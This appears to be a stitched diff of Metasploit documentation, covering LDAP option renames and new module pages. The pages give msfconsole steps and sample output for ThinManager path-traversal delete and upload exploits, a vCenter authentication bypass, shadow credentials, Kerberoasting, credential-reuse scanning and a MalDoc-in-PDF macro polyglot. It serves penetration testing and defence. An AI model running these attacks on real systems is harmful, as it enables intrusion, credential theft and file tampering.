Re-using PostgreSQL credentials in a subnet:
Reusing PostgreSQL credentials in a subnet:
```
use auxiliary/scanner/postgres/postgres_login
@@ -115,7 +115,7 @@ use scanner/ssh/ssh_login
run ssh://user:pass@172.18.102.20
```
Re-using SSH credentials in a subnet:
Reusing SSH credentials in a subnet:
```
use scanner/ssh/ssh_login
@@ -118,9 +118,9 @@ The values that are common to both `HTTP(S)` and `TCP` transports are:
* `tcp://:<port>` - indicates that this payload is a _bind_ payload listening on the specified port (note that no host is specified).
* `http://<host>:<port>/<uri>` - indicates that this payload is an HTTP connection (can only be _reverse_).
* `https://<host>:<port>/<uri>` - indicates that this payload is an HTTPS connection (can only be _reverse_).
* **Communications expiry** - This value is another 32-bit DWORD value that represents the number of seconds to wait between successful packet/receive calls. For more information, please read the **Timeout documentation** (link coming soon).
* **Retry total** - This value is 32-bit DWORD value that represents the number of seconds that Meterpreter should continue to attempt to reconnect on this transport before giving up. For more information, please read the **Timeout documentation** (link coming soon).
* **Retry wait** - This value is 32-bit DWORD value that represents the number of seconds between each attempt that Meterpreter makes to reconnect on this transport. For more information, please read the **Timeout documentation** (link coming soon).
* **Communications expiry** - This value is another 32-bit DWORD value that represents the number of seconds to wait between successful packet/receive calls. For more information, please read the [[Timeout Control|./Meterpreter-Timeout-Control.md]] documentation.
* **Retry total** - This value is 32-bit DWORD value that represents the number of seconds that Meterpreter should continue to attempt to reconnect on this transport before giving up. For more information, please read the [[Timeout Control|./Meterpreter-Timeout-Control.md]] documentation.
* **Retry wait** - This value is 32-bit DWORD value that represents the number of seconds between each attempt that Meterpreter makes to reconnect on this transport. For more information, please read the [[Timeout Control|./Meterpreter-Timeout-Control.md]] documentation.
The layout of this block in memory looks like the following:
@@ -159,8 +159,8 @@ At this time, there are no `TCP`-specific configuration values, as the common co
* `http://<proxy ip>:<proxy port>` in the case of `HTTP` proxies.
* `socks=<socks ip>:<sock port>` in the case of `socks` proxies.
* **Proxy user name** - Some proxies require authentication. In such cases, this value contains the username that should be used to authenticate with the given proxy. This field is `64` characters in size (`wchar_t`).
* Proxy password - This value will accompany the user name field in the case where proxy authentication is required. It contains the password used to authenticate with the proxy and is also `64` characters in size (`wchar_t`).
*** User agent string** - Customisable user agent string. This changes the user agent that is used when `HTTP/S` requests are made to Metasploit. This field is `256` characters in size (`wchar_t`).
* **Proxy password** - This value will accompany the user name field in the case where proxy authentication is required. It contains the password used to authenticate with the proxy and is also `64` characters in size (`wchar_t`).
* **User agent string** - Customisable user agent string. This changes the user agent that is used when `HTTP/S` requests are made to Metasploit. This field is `256` characters in size (`wchar_t`).
* **Expected SSL certificate hash** - Meterpreter has the capability of validating the SSL certificate that Metasploit presents when using `HTTPS`. This value contains the `20`-byte SHA1 hash of the expected certificate. For more information, please read the **SSL certificate validation documentation** (link coming soon).
All values that are shown above need to be specified in the configuration, including SSL certificate validation for plain `HTTP` connections. Values that are not used should be zeroed out.
@@ -207,7 +207,7 @@ As already mentioned, more than one of these transport configuration blocks can
### Extension configuration block
The extension configuration block is designed to allow Meterpreter payloads to contain any extra extensions that the user wants to bundle in. The goal is to provide the ability to have **Stageless payloads** (link coming soon), and to provide the means for sharing of extensions during migration (though this hasn't been implemented yet). Each of the extensions must have been compiled with [Reflective DLL Injection](https://github.com/rapid7/ReflectiveDLLInjection/) support, as this is the mechanism that is used to load the extensions when Meterpreter starts. For more information on this facility, please see the **Stageless payloads** (link coming soon) documentation.
The extension configuration block is designed to allow Meterpreter payloads to contain any extra extensions that the user wants to bundle in. The goal is to provide the ability to have [[Stageless payloads|./Meterpreter-Stageless-Mode.md]], and to provide the means for sharing of extensions during migration (though this hasn't been implemented yet). Each of the extensions must have been compiled with [Reflective DLL Injection](https://github.com/rapid7/ReflectiveDLLInjection/) support, as this is the mechanism that is used to load the extensions when Meterpreter starts. For more information on this facility, please see the [[Stageless payloads|./Meterpreter-Stageless-Mode.md]] documentation.
The extension configuration block also functions as a "list" to allow for an arbitrary number of extensions to be included. Each extension entry needs to contain:
@@ -71,7 +71,7 @@ Related open tickets (slightly broader than Meterpreter):
* Change desktop/phone background
* Remote mouse control
* Play sound on the remote system
* Read words outloud via text to speech on the remote system
* Read words out loud via text to speech on the remote system
* Volume control
* RSS feed from reverse_http(s) mult-handler that I can connect a RSS reader to (or something like IFTTT) and get notices when new sessions are created
* MessageBox popups
@@ -195,7 +195,7 @@ Payload options (cmd/windows/powershell_reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 172.19.182.171 yes The listen address (an interface may be speci
fied)
field)
LOAD_MODULES no A list of powershell modules separated by a c
omma to download over the web
LPORT 4444 yes The listen port
@@ -7,7 +7,7 @@ Allows changing or resetting users' passwords over the LDAP protocol (particular
Note that users can typically not reset their own passwords (unless they have very high privileges), but can usually change their password as long as they know the existing one.
This module works with existing sessions (or relaying), especially for Resetting, wherein the target's password is not required.
This module works with existing sessions (or relaying), especially for resetting, wherein the target's password is not required.
## Actions
@@ -19,14 +19,14 @@ This module works with existing sessions (or relaying), especially for Resetting
The required options are based on the action being performed:
- When resetting a password, you must specify the `TARGET_USER`
- When changing a password, you must specify the `USERNAME` and `PASSWORD`, even if using an existing session (since the API requires both of these to be specified, even for open LDAP sessions)
- When changing a password, you must specify the `LDAPUsername` and `LDAPPassword`, even if using an existing session (since the API requires both of these to be specified, even for open LDAP sessions)
- The `NEW_PASSWORD` option must always be provided
**USERNAME**
**LDAPUsername**
The username to use to authenticate to the server. Required for changing a password, even if using an existing session.
**PASSWORD**
**LDAPPassword**
The password to use to authenticate to the server, prior to performing the password modification. Required for changing a password, even if using an existing session (since the server requires proof that you know the existing password).
@@ -65,7 +65,7 @@ PropagationFlags : None
## Module usage
1. `use auxiliary/admin/ldap/shadow_credentials`
2. Set the `RHOST` value to a target domain controller
3. Set the `USERNAME` and `PASSWORD` information to an account with the necessary privileges
3. Set the `LDAPUsername` and `LDAPPassword` information to an account with the necessary privileges
4. Set the `TARGET_USER` to the victim account
5. Use the `ADD` action to add a credential entry to the victim account
@@ -109,13 +109,8 @@ Module options (auxiliary/admin/ldap/shadow_credentials):
Name Current Setting Required Description
---- --------------- -------- -----------
DOMAIN no The domain to authenticate to
PASSWORD no The password to authenticate with
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 389 yes The target port
SSL false no Enable SSL on the LDAP connection
TARGET_USER yes The target to write to
USERNAME no The username to authenticate with
When ACTION is REMOVE:
@@ -125,6 +120,24 @@ Module options (auxiliary/admin/ldap/shadow_credentials):
DEVICE_ID no The specific certificate ID to operate on
Used when connecting via an existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
LDAPDomain no The domain to authenticate to
LDAPPassword no The password to authenticate with
LDAPUsername no The username to authenticate with
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 389 no The target port
Auxiliary action:
Name Description
@@ -137,12 +150,12 @@ View the full module info with the info, or info -d command.
msf6 auxiliary(admin/ldap/shadow_credentials) > set rhosts 20.92.148.129
rhosts => 20.92.148.129
msf6 auxiliary(admin/ldap/shadow_credentials) > set domain MSF.LOCAL
domain => MSF.LOCAL
msf6 auxiliary(admin/ldap/shadow_credentials) > set username sandy
username => sandy
msf6 auxiliary(admin/ldap/shadow_credentials) > set password Password1!
password => Password1!
msf6 auxiliary(admin/ldap/shadow_credentials) > set ldapdomain MSF.LOCAL
ldapdomain => MSF.LOCAL
msf6 auxiliary(admin/ldap/shadow_credentials) > set ldapusername sandy
ldapusername => sandy
msf6 auxiliary(admin/ldap/shadow_credentials) > set ldappassword Password1!
ldappassword => Password1!
msf6 auxiliary(admin/ldap/shadow_credentials) > set target_user victim
target_user => victim
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
@@ -205,7 +218,7 @@ Administrator:500:aad3b435b51404eeaad3b435b51404ee:26f8220ed7f1494c5737bd552e661
In the following example the user `MSF\DESKTOP-H4VEQQHQ$` targets itself. No special permissions are required for this, as computers have some ability to modify their own value by default.
```msf
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
[*] Running module against 20.92.148.129
[+] Successfully bound to the LDAP server!
@@ -220,7 +233,7 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username
Note, however, that attempting to add a second credential will fail under these circumstances:
```msf
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ ldappassword=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV action=add
[*] Running module against 20.92.148.129
[+] Successfully bound to the LDAP server!
@@ -240,7 +253,7 @@ for any legitimate user relying on the existing value.
```msf
msf6 auxiliary(admin/ldap/shadow_credentials) > set action flush
action => flush
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ ldappassword=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
[*] Running module against 20.92.148.129
[+] Successfully bound to the LDAP server!
@@ -251,7 +264,7 @@ msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username
[*] Auxiliary module execution completed
msf6 auxiliary(admin/ldap/shadow_credentials) > set action add
action => add
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 username=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ password=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
msf6 auxiliary(admin/ldap/shadow_credentials) > run rhost=20.92.148.129 ldapusername=DESKTOP-H971T3AH$ target_user=DESKTOP-H971T3AH$ ldappassword=JJ2xSxvop2KERcJu8JMEmzv5sswNZBlV
[*] Running module against 20.92.148.129
[+] Successfully bound to the LDAP server!
@@ -32,13 +32,13 @@ Add an admin user to the vCenter Server.
If you already have the LDAP base DN, you may set it in this option.
`dc=vsphere,dc=local` will be used if not set.
### USERNAME
### LDAPUsername
If you already have a password to authenticate to the LDAP server (see
USERNAME), this option let you setup the bind username in DN format (e.g
`cn=1.2.3.4,ou=Domain Controllers,dc=vsphere,dc=local`).
### PASSWORD
### LDAPPassword
The password to authenticate to the LDAP server, if you have it.
@@ -55,22 +55,35 @@ Set this to the password for the new admin user.
### VMware vCenter Server 6.7 virtual appliance on ESXi (vulnerable target)
```
msf5 > use auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > options
msf6 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > show options
Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
DOMAIN no The domain to authenticate to
NEW_PASSWORD no Password of admin user to add
NEW_USERNAME no Username of admin user to add
PASSWORD no The password to authenticate with
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT 636 yes The target port
NEW_PASSWORD yes Password of admin user to add
NEW_USERNAME yes Username of admin user to add
SSL true no Enable SSL on the LDAP connection
USERNAME no The username to authenticate with
Used when connecting via an existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
LDAPDomain no The domain to authenticate to
LDAPPassword no The password to authenticate with
LDAPUsername no The username to authenticate with
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
metasploit.html
RPORT 636 no The target port
Auxiliary action:
@@ -80,6 +93,8 @@ Auxiliary action:
Add Add an admin user
View the full module info with the info, or info -d command.
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set rhosts [redacted]
rhosts => [redacted]
msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > set new_username msfadmin
@@ -136,22 +151,35 @@ msf5 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) >
### VMware vCenter Server 6.7.0.2 virtual appliance on ESXi (not vulnerable target)
```
msf6 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > options
msf6 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > show options
Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN dc=vsphere,dc=local no LDAP base DN if you already have it
USERNAME cn=192.168.3.32,ou=Domain Controlle no The username to authenticate to LDAP server
rs,dc=vsphere,dc=local
PASSWORD #$F4!4SeV\BL~L2gb(oa no Password for the BIND_DN
NEW_PASSWORD NewPassword123# no Password of admin user to add
RHOSTS 192.168.3.32 yes The target host(s), see https://github.com/rapid7/metasploit-framework
/wiki/Using-Metasploit
RPORT 636 yes The target port
SSL true no Enable SSL on the LDAP connection
NEW_USERNAME MsfAdmin no Username of admin user to add
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
NEW_PASSWORD yes Password of admin user to add
NEW_USERNAME yes Username of admin user to add
SSL true no Enable SSL on the LDAP connection
Used when connecting via an existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
LDAPDomain no The domain to authenticate to
LDAPPassword no The password to authenticate with
LDAPUsername no The username to authenticate with
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
metasploit.html
RPORT 636 no The target port
Auxiliary action:
@@ -161,6 +189,49 @@ Auxiliary action:
Add Add an admin user
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > show options
Module options (auxiliary/admin/ldap/vmware_vcenter_vmdir_auth_bypass):
Name Current Setting Required Description
---- --------------- -------- -----------
BASE_DN no LDAP base DN if you already have it
NEW_PASSWORD yes Password of admin user to add
NEW_USERNAME yes Username of admin user to add
SSL true no Enable SSL on the LDAP connection
Used when connecting via an existing SESSION:
Name Current Setting Required Description
---- --------------- -------- -----------
SESSION no The session to run this module on
Used when making a new connection via RHOSTS:
Name Current Setting Required Description
---- --------------- -------- -----------
LDAPDomain no The domain to authenticate to
LDAPPassword no The password to authenticate with
LDAPUsername no The username to authenticate with
RHOSTS no The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-
metasploit.html
RPORT 636 no The target port
Auxiliary action:
Name Description
---- -----------
Add Add an admin user
View the full module info with the info, or info -d command.
msf6 auxiliary(admin/ldap/vmware_vcenter_vmdir_auth_bypass) > run
[*] Running module against 192.168.3.32
@@ -0,0 +1,55 @@
## Vulnerable Application
This module exploits a path traversal vulnerability in ThinManager <= v13.1.0 (CVE-2023-2915) to delete an arbitrary file from the
system.
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
## Testing
The software can be obtained from
[the vendor](https://thinmanager.com/downloads/).
**Successfully tested on**
- ThinManager v13.1.0 on Windows 22H2
- ThinManager v13.0.1 on Windows 22H2
- ThinManager v13.0.0 on Windows 22H2
- ThinManager v12.1.5 on Windows 22H2
- ThinManager v10.0.2 on Windows 22H2
## Verification Steps
1. Install and run the application
2. Start `msfconsole` and run the following commands:
```
msf6 > use auxiliary/gather/thinmanager_traversal_delete
msf6 auxiliary(gather/thinmanager_traversal_delete) > set RHOSTS <IP>
msf6 auxiliary(gather/thinmanager_traversal_delete) > set FILE <file to delete>
msf6 auxiliary(gather/thinmanager_traversal_delete) > run
```
This should delete the file as specified through FILE from the remote server.
## Options
### FILE
The file to delete from the remote server.
## Scenarios
Running the exploit against ThinManager v13.0.1 on Windows 22H2 should result in an output similar to the following:
```
msf6 auxiliary(gather/thinmanager_traversal_delete) > run
[*] Running module against 192.168.137.229
[*] 192.168.137.229:2031 - Running automatic check ("set AutoCheck false" to disable)
[!] 192.168.137.229:2031 - The service is running, but could not be validated.
[*] 192.168.137.229:2031 - Sending handshake...
[*] 192.168.137.229:2031 - Received handshake response.
[*] 192.168.137.229:2031 - Deleting /Windows/win.ini from 192.168.137.229
[+] 192.168.137.229:2031 - Received response from target.
[*] Auxiliary module execution completed
```
@@ -0,0 +1,61 @@
## Vulnerable Application
This module exploits a path traversal vulnerability in ThinManager <= v13.0.1 (CVE-2023-27855) to upload an arbitrary file to the target
system.
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
## Testing
The software can be obtained from
[the vendor](https://thinmanager.com/downloads/).
**Successfully tested on**
- ThinManager v13.0.1 on Windows 22H2
- ThinManager v13.0.0 on Windows 22H2
- ThinManager v12.1.5 on Windows 22H2
- ThinManager v10.0.2 on Windows 22H2
## Verification Steps
1. Install and run the application
2. Start `msfconsole` and run the following commands:
```
msf6 > use auxiliary/admin/networking/thinmanager_traversal_upload
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > set RHOSTS <IP>
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > set LFILE <local file location>
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > set RFILE <remote file location>
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > run
```
This should upload the local file specified through LFILE to the server, as specified in RFILE.
## Options
### LFILE
Specifies the local file to upload to the remote server.
### RFILE
Specifies the remote file location where the file will be uploaded to.
## Scenarios
Running the exploit against ThinManager v13.0.1 on Windows 22H2 should result in an output similar to the following:
```
msf6 auxiliary(admin/networking/thinmanager_traversal_upload) > run
[*] Running module against 192.168.137.227
[*] 192.168.137.227:2031 - Running automatic check ("set AutoCheck false" to disable)
[!] 192.168.137.227:2031 - The service is running, but could not be validated.
[*] 192.168.137.227:2031 - Sending handshake...
[*] 192.168.137.227:2031 - Received handshake response.
[*] 192.168.137.227:2031 - Read 27648 bytes from /tmp/payload.exe
[*] 192.168.137.227:2031 - Uploading /tmp/payload.exe as /Program Files/Rockwell Software/ThinManager/payload.exe on the remote host...
[*] 192.168.137.227:2031 - Upload request length: 27752 bytes
[!] 192.168.137.227:2031 - No response received after upload.
[+] 192.168.137.227:2031 - Upload process completed. Check if '/Program Files/Rockwell Software/ThinManager/payload.exe' exists on the target.
[*] Auxiliary module execution completed
```
@@ -0,0 +1,62 @@
## Vulnerable Application
This module exploits a path traversal vulnerability in ThinManager <= v13.1.0 (CVE-2023-2917) to upload an arbitrary file to the target
system.
The affected service listens by default on TCP port 2031 and runs in the context of NT AUTHORITY\SYSTEM.
## Testing
The software can be obtained from
[the vendor](https://thinmanager.com/downloads/).
**Successfully tested on**
- ThinManager v13.1.0 on Windows 22H2
- ThinManager v13.0.1 on Windows 22H2
- ThinManager v12.0.0 on Windows 22H2
- ThinManager v12.1.5 on Windows 22H2
- ThinManager v12.0.4 on Windows 22H2
## Verification Steps
1. Install and run the application
2. Start `msfconsole` and run the following commands:
```
msf6 > use auxiliary/admin/networking/thinmanager_traversal_upload2
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RHOSTS <IP>
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set LFILE <local file location>
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > set RFILE <remote file location>
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run
```
This should upload the local file specified through LFILE to the server, as specified in RFILE.
## Options
### LFILE
Specifies the local file to upload to the remote server.
### RFILE
Specifies the remote file location where the file will be uploaded to.
## Scenarios
Running the exploit against ThinManager v13.1.0 on Windows 22H2 should result in an output similar to the following:
```
msf6 auxiliary(admin/networking/thinmanager_traversal_upload2) > run
[*] Running module against 192.168.137.229
[*] 192.168.137.229:2031 - Running automatic check ("set AutoCheck false" to disable)
[!] 192.168.137.229:2031 - The service is running, but could not be validated.
[*] 192.168.137.229:2031 - Sending handshake...
[*] 192.168.137.229:2031 - Received handshake response.
[*] 192.168.137.229:2031 - Read 27648 bytes from /tmp/payload.exe
[*] 192.168.137.229:2031 - Uploading /tmp/payload.exe as /Program Files/Rockwell Software/ThinManager/payload.exe on the remote host...
[*] 192.168.137.229:2031 - Upload request length: 27752 bytes
[!] 192.168.137.229:2031 - No response received after upload.
[+] 192.168.137.229:2031 - Upload process completed. Check if '/Program Files/Rockwell Software/ThinManager/payload.exe' exists on the target.
[*] Auxiliary module execution completed
```
@@ -0,0 +1,101 @@
## Vulnerable Application
The technique is called "MalDoc in PDF". This technique hides malicious Word documents in PDF files,
which is why malicious code contained in them cannot be detected by many analysis tools.
The document can be opened in both Microsoft Word and a PDF reader.
However, for the macro to run, you must open this document in Microsoft Word. The attack does not bypass
configured macro locks. The malicious macros are also not executed when the file is opened in PDF readers
or similar software.
### Introduction
A malicious MHT file created can be opened in Microsoft Word even though it has magic numbers and file
structure of PDF.
If the file has configured macro, by opening it in Microsoft Word, VBS runs and performs malicious behaviors.
## For Testing
You create a `Single File Web Page (*.mht, *.mhtml)` file containing a VBS macro. For testing, you can use the
following macro:
```
Sub AutoOpen()
MsgBox "Macro executed successfully!", vbInformation, "Information"
End Sub
```
## Verification Steps
1. Start msfconsole
2. Do: `auxiliary/fileformat/maldoc_in_pdf_polyglot`
3. Do: `set FILENAME /tmp/macro.htm`
4. Do: `run`
## Options
### FILENAME
The input MHT filename with macro embedded.
### INJECTED_PDF
The input PDF filename to be injected. (optional)
### MESSAGE_PDF
The message to display in the local PDF template (if INJECTED_PDF is NOT used). Default: You must open this document in Microsoft Word
## Scenarios
### Create without PDF template
```
msf6 auxiliary(fileformat/maldoc_in_pdf_polyglot) > options
Module options (auxiliary/fileformat/maldoc_in_pdf_polyglot):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME /tmp/macro.mht yes The input MHT filename with macro embedded
INJECTED_PDF no The input PDF filename to be injected (optional)
MESSAGE_PDF You must open this document in Microsoft Word no The message to display in the local PDF template (if INJECTED_PDF is NOT used)
View the full module info with the info, or info -d command.
msf6 auxiliary(fileformat/maldoc_in_pdf_polyglot) > run
[*] PDF creation using local template
[+] The file 'macro.doc' is stored at '/home/mekhalleh/.msf4/local/macro.doc'
[*] Auxiliary module execution completed
```
### Create using PDF template
```
msf6 auxiliary(fileformat/maldoc_in_pdf_polyglot) > options
Module options (auxiliary/fileformat/maldoc_in_pdf_polyglot):
Name Current Setting Required Description
---- --------------- -------- -----------
FILENAME /tmp/macro.mht yes The input MHT filename with macro embedded
INJECTED_PDF /tmp/injected.pdf no The input PDF filename to be injected (optional)
MESSAGE_PDF You must open this document in Microsoft Word no The message to display in the local PDF template (if INJECTED_PDF is NOT used)
View the full module info with the info, or info -d command.
msf6 auxiliary(fileformat/maldoc_in_pdf_polyglot) > run
[*] PDF creation using 'injected.pdf' as template
[+] The file 'macro.doc' is stored at '/home/mekhalleh/.msf4/local/macro.doc'
[*] Auxiliary module execution completed
```
## References
1. <https://blogs.jpcert.or.jp/en/2023/08/maldocinpdf.html>
2. <https://socradar.io/maldoc-in-pdf-a-novel-method-to-distribute-malicious-macros/>
3. <https://www.nospamproxy.de/en/maldoc-in-pdf-danger-from-word-files-hidden-in-pdfs/>
4. <https://github.com/exa-offsec/maldoc_in_pdf_polyglot/tree/main/demo>
@@ -1,31 +0,0 @@
## Description
This module will try to find Service Principal Names (SPN) that are associated with normal user accounts on the specified domain and then submit requests to retrieve Ticket Granting Service (TGS) tickets for those accounts, which may be partially encrypted with the SPNs NTLM hash. After retrieving the TGS tickets, offline brute forcing attacks can be performed to retrieve the passwords for the SPN accounts.
## Verification Steps
To avoid library/version conflict, it would be useful to have a pipenv virtual environment.
* `pipenv --two && pipenv shell`
* Follow the [impacket installation steps](https://github.com/CoreSecurity/impacket#installing) to install the required libraries.
* Have a domain user account credentials
* `./msfconsole -q -x 'use auxiliary/gather/get_user_spns; set rhosts <dc-ip> ; set smbuser <user> ; set smbpass <password> ; set smbdomain <domain> ; run'`
* Get Hashes
## Scenarios
```
$ ./msfconsole -q -x 'use auxiliary/gather/get_user_spns; set rhosts <dc-ip> ; set smbuser <user> ; set smbpass <password> ; set smbdomain <domain> ; run'
rhosts => <dc-ip>
smbuser => <user>
smbpass => <password>
smbdomain => <domain>
[*] Running for <domain>...
[*] Total of records returned <num>
[+] ServicePrincipalName Name MemberOf PasswordLastSet LastLogon
[+] ------------------------------------------------ ---------- -------------------------------------------------------------------------------- ------------------- -------------------
[+] SPN... User... List... DateTime... Time...
[+] $krb5tgs$23$*user$realm$test/spn*$<data>
[*] Scanned 1 of 1 hosts (100% complete)
[*] Auxiliary module execution completed
```
@@ -0,0 +1,72 @@
## Kerberoast
This module will try to find Service Principal Names (SPN) that are associated with normal user accounts on the specified domain, and then submit requests to retrieve Ticket Granting Service (TGS) tickets for those accounts, which may be partially encrypted with the SPN user's NTLM hash. After retrieving the TGS tickets, offline brute forcing attacks can be performed to retrieve the passwords for the SPN accounts.
## Module usage
- Start `msfconsole`
- Do: `use auxiliary/gather/kerberoast`
- Do: `run rhost=<IP> domain=<FQDN> password=<pass> username=<username> target_user=<optional_user>`
- If a target user has been requested, the module will log in to LDAP, find any SPNs associated with that user, and then request that service ticket.
- If no target user has been requested, the module will request service tickets for all available users.
- A crackable value will be displayed for all valid accounts.
## Options
### DOMAIN / LDAPDOMAIN
The Fully Qualified Domain Name (FQDN). Ex: mydomain.local.
### USERNAME / LDAPUSERNAME
The username to authenticate to the DC with
### PASSWORD / LDAPPASSWORD
The password to authenticate to the DC with
### Rhostname
The hostname of the domain controller. Must be accurate otherwise the module will silently fail, even if users exist without pre-auth required.
## Scenarios
### Target user
To retrieve a TGS for a particular user, set `TARGET_USER`.
```msf
msf6 auxiliary(gather/kerberoast) > run rhost=20.248.208.9 ldapdomain=msf.local ldappassword=PasswOrd123 ldapusername=AzureAdmin target_user=low.admin
[*] Running module against 20.248.208.9
[+] 20.248.208.9:88 - Received a valid TGT-Response
[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/user/.msf4/loot/20250513155454_default_20.248.208.9_mit.kerberos.cca_656516.bin
[+] 20.248.208.9:88 - Received a valid TGS-Response
[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/user/.msf4/loot/20250513155454_default_20.248.208.9_mit.kerberos.cca_233943.bin
[+] Success:
$krb5tgs$17$low.admin$MSF.LOCAL$*http/abc.msf.local*$faf4a87156a49afd69de3c8b$582f8daec4a5f88fba...
[*] Auxiliary module execution completed
```
### All users
```
msf6 auxiliary(gather/kerberoast) > run rhost=20.248.208.9 ldapdomain=msf.local ldappassword=PasswOrd123 ldapusername=AzureAdmin
[*] Running module against 20.248.208.9
[+] 20.248.208.9:88 - Received a valid TGT-Response
[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_281438.bin
[+] 20.248.208.9:88 - Received a valid TGS-Response
[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_360340.bin
[+] 20.248.208.9:88 - Received a valid TGT-Response
[*] 20.248.208.9:389 - TGT MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_642663.bin
[+] 20.248.208.9:88 - Received a valid TGS-Response
[*] 20.248.208.9:389 - TGS MIT Credential Cache ticket saved to /home/smash/.msf4/loot/20250513155630_default_20.248.208.9_mit.kerberos.cca_556183.bin
[+] Query returned 2 results.
[+] Success:
$krb5tgs$23$*kerber.roastable$MSF.LOCAL$http/abc2.msf.local*$d335dc07b2c018de2a19e2ecc102bd1d$abc848...
$krb5tgs$17$low.admin$MSF.LOCAL$*http/abc.msf.local*$a1c7c1c1e31e36cdb0721928$b69b48...
[!] NOTE: Multiple encryption types returned - will require separate cracking runs for each type.
[*] To obtain the crackable values for a praticular type, run `creds`:
[*] creds -t krb5tgs-rc4 -O 20.248.208.9 -o <outfile.(jtr|hcat)>
[*] creds -t krb5tgs-aes128 -O 20.248.208.9 -o <outfile.(jtr|hcat)>
[*] Auxiliary module execution completed
```
@@ -1,204 +0,0 @@
## Vulnerable Application
### Description
This module uses an LDAP connection to dump data from LDAP server
using an anonymous or authenticated bind.
Searching for specific attributes it collects user credentials.
### Setup
Tested in the wild.
You may eventually setup an intentionally insecure OpenLDAP server in docker.
The below OpenLDAP server does not have any ACL, therefore the hashPassword
attributes are readable by anonymous clients.
```
$ git clone https://github.com/HynekPetrak/bitnami-docker-openldap.git
$ cd bitnami-docker-openldap
$ docker-compose up -d
Creating bitnami-docker-openldap_openldap_1 ... done
msf5 auxiliary(gather/ldap_hashdump) > set RHOSTS 127.0.0.1
RHOSTS => 127.0.0.1
msf5 auxiliary(gather/ldap_hashdump) > set RPORT 1389
RPORT => 1389
